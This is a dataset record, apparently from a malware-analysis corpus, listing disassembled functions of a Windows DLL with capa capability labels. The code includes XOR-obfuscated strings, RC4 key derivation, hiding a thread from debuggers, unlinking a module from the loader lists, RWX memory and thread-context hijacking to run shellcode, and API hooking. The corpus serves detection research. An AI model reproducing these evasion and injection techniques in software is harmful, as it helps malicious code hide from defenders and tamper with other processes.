joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013ce0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movaps xmm0, xmmword [0x1009fb70]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
push esi
movaps xmm0, xmmword [0x1009fb00]
movups xmmword [ebp - 0x24], xmm0
push edi
movaps xmm0, xmmword [0x1009f9e0]
movups xmmword [ebp - 0x14], xmm0
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x33]
xor al, byte [ebp - 0x34]
mov byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x10013d10
push 0
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], 0
push eax
push 0
push 0x100a9fbc
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10013e02
push 0x100a9fb8
push 0
push 0
push 0x8004
push dword [0x100a9fbc]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10013e02
movaps xmm0, xmmword [0x1009ff40]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x7a227473
movaps xmm0, xmmword [0x1009fc60]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x70266052
movaps xmm0, xmmword [0x1009fdb0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x33626847
mov word [ebp - 4], 0x6f
mov al, byte [ebp + ecx - 0x3f]
xor al, byte [ebp - 0x40]
mov byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x10013da2
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], 0
push eax
push dword [0x100a9fb8]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x10013e02
push 0x100a9fb4
push 0x800000
push dword [0x100a9fb8]
push 0x6801
push dword [0x100a9fbc]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x10013e02
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100a9fb0], eax
call fcn.10044c00
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.100450d0
push 0x10013770
push 0x100a9fc0
call fcn.10044910
call fcn.10044c60
mov edi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push 0x8f5430
call edi
test eax, eax
jne 0x10013e72
mov dword [0x100a9fc0], 0x8f5430
call fcn.10044c00
call esi
push eax
call fcn.100450d0
push 0x10013770
push 0x100a9fc0
call fcn.10044480
call fcn.10044c60
call fcn.10044c00
call esi
push eax
call fcn.100450d0
push 0x10013b50
push 0x100a9fac
call fcn.10044910
call fcn.10044c60
push 4
push 0x450890
call edi
test eax, eax
jne 0x10013ecb
mov dword [0x100a9fac], 0x450890
call fcn.10044c00
call esi
push eax
call fcn.100450d0
push 0x10013b50
push 0x100a9fac
call fcn.10044480
call fcn.10044c60
call fcn.10044c00
call esi
push eax
call fcn.100450d0
push 0x10013bf0
push 0x100a9fa8
call fcn.10044910
call fcn.10044c60
push 4
push 0x4504c0
call edi
test eax, eax
jne 0x10013f24
mov dword [0x100a9fa8], 0x4504c0
call fcn.10044c00
call esi
push eax
call fcn.100450d0
push 0x10013bf0
push 0x100a9fa8
call fcn.10044480
call fcn.10044c60
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001a3c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x100a6040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1009ff10]
xor ecx, ecx
mov eax, dword [0x100aa044]
push ebx
push esi
push edi
mov dword [ebp - 0x2c], eax
movups xmmword [ebp - 0x40], xmm0
mov byte [ebp - 0x30], 0
nop dword [eax]
mov al, byte [ebp + ecx - 0x3f]
xor al, byte [ebp - 0x40]
mov byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0xf
jb 0x1001a3f0
sub esp, 0x1c
mov byte [ebp - 0x30], 0
mov edx, esp
lea ecx, [ebp - 0x3f]
xorps xmm0, xmm0
lea esi, [ecx + 1]
mov dword [edx], 0
movups xmmword [edx + 4], xmm0
mov dword [edx + 0x14], 0
mov dword [edx + 0x18], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001a430
sub ecx, esi
lea eax, [ebp - 0x3f]
push ecx
push eax
mov ecx, edx
call fcn.10003350
lea ecx, [ebp - 0x20]
call fcn.10040e80
add esp, 0x1c
mov dword [ebp - 0x28], 0
cmp dword [0x100aa040], 0
jbe 0x1001a50e
mov esi, dword [ebp - 8]
xor edx, edx
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x24], edx
nop
cmp esi, 0xf
lea ecx, [ebp - 0x1c]
cmova ecx, edi
lea ebx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001a480
sub ecx, ebx
mov eax, edx
xor edx, edx
div ecx
mov ebx, edx
cmp ebx, dword [ebp - 0xc]
jbe 0x1001a4e0
push str.string_subscript_out_of_range
push 0x10097f88
push 0
push 0x8d0
push 0x10098138
push 2
call fcn.1004d250
add esp, 0x18
cmp eax, 1
jne 0x1001a4bc
int3
push 0
push 0x8d0
push str.C:Program_FilesMicrosoft_Visual_Studio2022ProfessionalVCToolsMSVC14.41.34120includexstring
push 0x100980c4
push str._string_subscript_out_of_range_
call fcn.1004c570
mov esi, dword [ebp - 8]
add esp, 0x14
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
cmp esi, 0xf
cmova eax, edi
mov al, byte [eax + ebx]
xor byte [ecx + edx], al
mov eax, dword [ebp - 0x28]
inc eax
movzx edx, ax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
cmp edx, dword [0x100aa040]
jb 0x1001a470
lea ecx, [ebp - 0x20]
call fcn.10002f50
mov eax, dword [ebp - 0x20]
push 8
push eax
mov dword [ebp - 0x20], 0
call fcn.10046080
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10045fd0
mov esp, ebp
pop ebp
ret
Function at 0x1001a630
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082db5
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x100a6040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp byte [0x100a9f61], 0
je 0x1001a6fd
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x100aa048]
sbb edx, dword [0x100aa04c]
jne 0x1001a68a
cmp eax, 0x3e8
jb 0x1001a714
call esi
push ecx
lea ecx, [ebp - 0x34]
mov dword [0x100aa048], eax
mov dword [0x100aa04c], edx
call fcn.1000e780
push 0x1000
mov byte [ebp - 0x14], 0xa1
call fcn.1000f020
push 1
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], vtable.Packet.0
call fcn.1000f1e0
push 0xa4
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 1
call fcn.1001d5a0
push edi
mov ecx, eax
call fcn.1001d150
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x34]
sub esi, dword [ebp - 0x20]
call fcn.1001d5e0
mov edx, esi
mov ecx, eax
call fcn.10014500
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10045fd0
mov esp, ebp
pop ebp
ret
Function at 0x1001e550
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x100a6040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dl, 0x72
mov dword [ebp - 0x2f4], 0x1e062072
mov dword [ebp - 0x2f0], 0x16131d3e
xor ecx, ecx
mov dword [ebp - 0x2ec], 0x1b000621
mov word [ebp - 0x2e8], 0x151c
mov byte [ebp - 0x2e6], 0
xor byte [ebp + ecx - 0x2f3], dl
inc ecx
cmp ecx, 0xd
jae 0x1001e5aa
mov dl, byte [ebp - 0x2f4]
jmp 0x1001e595
mov byte [ebp - 0x2e6], 0
mov dl, 0x62
mov dword [ebp - 0x2e4], 0x6160c62
xor ecx, ecx
mov dword [ebp - 0x2e0], 0x64c0e0e
mov word [ebp - 0x2dc], 0xe0e
mov byte [ebp - 0x2da], 0
nop dword [eax]
xor byte [ebp + ecx - 0x2e3], dl
inc ecx
cmp ecx, 9
jae 0x1001e5f5
mov dl, byte [ebp - 0x2e4]
jmp 0x1001e5e0
push esi
lea eax, [ebp - 0x2e3]
mov byte [ebp - 0x2da], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f3]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x1001e6e4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001e6e4
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.10048c00
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001e6e4
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1001e6e4
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1001e6e4
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10002800
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1001e6e4
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10045fd0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.10045fd0
mov esp, ebp
pop ebp
ret
Function at 0x1001e700
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
mov dword [ebp - 0xc], 0x76667c12
push edi
mov dl, 0x12
mov dword [ebp - 8], 0x763c7e7e
mov word [ebp - 4], 0x7e7e
xor ecx, ecx
mov byte [ebp - 2], 0
xor byte [ebp + ecx - 0xb], dl
inc ecx
cmp ecx, 9
jae 0x1001e735
mov dl, byte [ebp - 0xc]
jmp 0x1001e726
lea eax, [ebp - 0xb]
mov byte [ebp - 2], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x1001e7aa
movaps xmm0, xmmword [0x1009fcc0]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x3a201c26
mov dword [ebp - 0x10], 0x2c292d
mov al, byte [ebp + ecx - 0x23]
xor al, byte [ebp - 0x24]
mov byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x16
jb 0x1001e764
lea eax, [ebp - 0x23]
mov byte [ebp - 0xd], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1001e7aa
test esi, esi
jne 0x1001e796
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001e7c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001e7fe
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001e802
cmp edx, esi
jne 0x1001e7e7
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1001e822
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001e826
cmp edx, esi
jne 0x1001e80b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1001e846
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001e84a
cmp edx, esi
jne 0x1001e82f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10023cd0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100835f7
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x68
push esi
push edi
mov eax, dword [0x100a6040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], eax
movzx eax, word [esi + 0x13e]
mov ecx, eax
mov word [esi + 0x14a], ax
movzx eax, word [esi + 0x14c]
push eax
push ecx
xor ecx, ecx
cmp byte [esi + 0x148], cl
je 0x10023dca
movaps xmm0, xmmword [0x1009fe90]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x4490805
mov byte [ebp - 0x2c], cl
mov al, byte [ebp + ecx - 0x3f]
xor al, byte [ebp - 0x40]
mov byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x13
jb 0x10023d51
sub esp, 0x1c
mov byte [ebp - 0x2c], 0
mov edx, esp
lea ecx, [ebp - 0x3f]
xorps xmm0, xmm0
lea edi, [ecx + 1]
mov dword [edx], 0
movups xmmword [edx + 4], xmm0
mov dword [edx + 0x14], 0
mov dword [edx + 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10023d90
sub ecx, edi
lea eax, [ebp - 0x3f]
push ecx
push eax
mov ecx, edx
call fcn.10003350
lea eax, [ebp - 0x78]
push eax
call fcn.1000d820
add esp, 0x28
mov edx, eax
mov eax, dword [ebp - 0x20]
or eax, 1
mov dword [ebp - 4], 0
mov edi, eax
mov dword [ebp - 0x24], eax
jmp 0x10023e55
mov dl, 0xa
mov dword [ebp - 0x1c], 0x2a6e2f0a
mov dword [ebp - 0x18], 0x2f2a6c65
mov word [ebp - 0x14], 0x6e
xor byte [ebp + ecx - 0x1b], dl
inc ecx
cmp ecx, 8
jae 0x10023def
mov dl, byte [ebp - 0x1c]
jmp 0x10023de0
sub esp, 0x1c
mov byte [ebp - 0x13], 0
mov edx, esp
lea ecx, [ebp - 0x1b]
xorps xmm0, xmm0
lea edi, [ecx + 1]
mov dword [edx], 0
movups xmmword [edx + 4], xmm0
mov dword [edx + 0x14], 0
mov dword [edx + 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10023e20
sub ecx, edi
lea eax, [ebp - 0x1b]
push ecx
push eax
mov ecx, edx
call fcn.10003350
lea eax, [ebp - 0x5c]
push eax
call fcn.1000d820
add esp, 0x28
mov edx, eax
mov eax, dword [ebp - 0x20]
or eax, 2
mov dword [ebp - 4], 1
mov edi, eax
mov dword [ebp - 0x24], edi
mov ecx, dword [esi + 0xc]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], eax
call fcn.100141e0
mov eax, dword [ebp - 0x20]
test al, 2
je 0x10023e8f
mov eax, edi
lea ecx, [ebp - 0x5c]
and eax, 0xfffffffd
mov dword [ebp - 0x24], eax
call fcn.10002f50
mov eax, dword [ebp - 0x5c]
push 8
push eax
mov dword [ebp - 0x5c], 0
call fcn.10046080
add esp, 8
test byte [ebp - 0x24], 1
je 0x10023eb2
lea ecx, [ebp - 0x78]
call fcn.10002f50
mov eax, dword [ebp - 0x78]
push 8
push eax
mov dword [ebp - 0x78], 0
call fcn.10046080
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10040e80
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008454d
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x100a6040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 0xf
lea ecx, [ebp - 0x8c]
push dword [ebp + 0x1c]
cmova eax, dword [ebp + 0xc]
push eax
mov byte [ebp - 0x8c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0x67452301
mov dword [ebp - 0x3c], 0xefcdab89
mov dword [ebp - 0x38], 0x98badcfe
mov dword [ebp - 0x34], 0x10325476
call fcn.10040d00
cmp byte [ebp - 0x8c], 0
jne 0x10040fdd
xor ecx, ecx
lea edx, [ebp - 0x47]
nop dword [eax + eax]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x1c], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x1b], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x1a], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x19], al
add ecx, 4
cmp ecx, 8
jb 0x10040f20
mov edx, dword [ebp - 0x48]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x8c]
push eax
push 0x100a7fe8
call fcn.10040d00
push 8
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x8c]
call fcn.10040d00
xor ecx, ecx
lea edx, [ebp - 0x3f]
nop
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x30], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x2f], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x2e], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x2d], al
add ecx, 4
cmp ecx, 0x10
jb 0x10040f90
push 0x40
lea eax, [ebp - 0x8b]
push 0
push eax
call fcn.10048c00
xorps xmm0, xmm0
mov byte [ebp - 0x8c], 1
add esp, 0xc
movq qword [ebp - 0x48], xmm0
push esi
lea ecx, [ebp - 0x8c]
call fcn.10040db0
lea ecx, [ebp + 8]
call fcn.10002f50
mov ecx, dword [ebp + 8]
push 8
push ecx
mov dword [ebp + 8], 0
call fcn.10046080
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10045fd0
mov esp, ebp
pop ebp
ret
Function at 0x100432e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.100434b0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x100433bd
mov edx, dword [ebp - 4]
cmp edx, dword [0x100a6014]
jb 0x1004332a
mov eax, dword [ebp - 4]
cmp eax, dword [0x100a6018]
ja 0x1004332a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x100432fa
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10048c00
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1004334f
jmp 0x100433bd
cmp dword [ebp - 0x14], 0x10000
jne 0x100433a3
cmp dword [ebp - 0x18], 0x10000
jb 0x100433a3
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10043386
mov eax, dword [ebp - 8]
jmp 0x100433bf
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x10043396
xor eax, eax
jmp 0x100433bf
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100433b8
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.100434b0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100432fa
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x100433d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.100434e0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x100434a5
mov edx, dword [ebp - 4]
cmp edx, dword [0x100a6014]
jb 0x10043415
mov eax, dword [ebp - 4]
cmp eax, dword [0x100a6018]
ja 0x10043415
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x100433e5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10048c00
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1004343a
jmp 0x100434a5
cmp dword [ebp - 0x14], 0x10000
jne 0x1004348e
cmp dword [ebp - 0x18], 0x10000
jb 0x1004348e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10043471
mov eax, dword [ebp - 8]
jmp 0x100434a7
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x10043481
xor eax, eax
jmp 0x100434a7
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100434a0
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.100434e0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100433e5
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10043510
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10043900
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x100a89b8], 0
jne 0x1004354d
cmp dword [0x100a89b4], 0
je 0x1004354d
mov eax, dword [0x100a89b4]
mov dword [0x100a89b8], eax
cmp dword [0x100a89b8], 0
je 0x100435ca
mov ecx, dword [0x100a89b8]
cmp dword [ecx + 8], 0
je 0x100435ca
mov edx, dword [0x100a89b8]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x100435ca
mov ecx, dword [0x100a89b8]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x100435ca
mov eax, dword [0x100a89b8]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x10043599
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x100435a0
xor eax, eax
jmp 0x100436e9
mov ecx, dword [0x100a89b8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.10048c00
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x100436e9
mov edx, dword [0x100a89b4]
mov dword [0x100a89b8], edx
jmp 0x100435e6
mov eax, dword [0x100a89b8]
mov ecx, dword [eax + 4]
mov dword [0x100a89b8], ecx
cmp dword [0x100a89b8], 0
je 0x10043626
cmp dword [0x100a89b8], 0
je 0x10043624
mov edx, dword [0x100a89b8]
cmp dword [edx + 8], 0
je 0x10043624
mov eax, dword [0x100a89b8]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x10043624
mov edx, dword [0x100a89b8]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x10043624
jmp 0x1004357e
jmp 0x100435d8
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100436f0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x100436e7
mov eax, dword [ebp - 0x18]
mov dword [0x100a89b8], eax
mov ecx, dword [0x100a89b8]
mov dword [ecx], 0x52727464
mov edx, dword [0x100a89b8]
mov dword [edx + 8], 0
mov eax, dword [0x100a89b8]
mov ecx, dword [0x100a89b4]
mov dword [eax + 4], ecx
mov edx, dword [0x100a89b8]
mov dword [0x100a89b4], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x100a89b8]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x100436b7
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x100436d7
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x100436ae
mov eax, dword [0x100a89b8]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1004357e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10044430
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a89b4]
mov dword [ebp - 4], eax
jmp 0x10044449
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10044470
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1004446e
call sub.KERNEL32.dll_GetLastError
jmp 0x10044472
jmp 0x10044440
xor eax, eax
mov esp, ebp
pop ebp
ret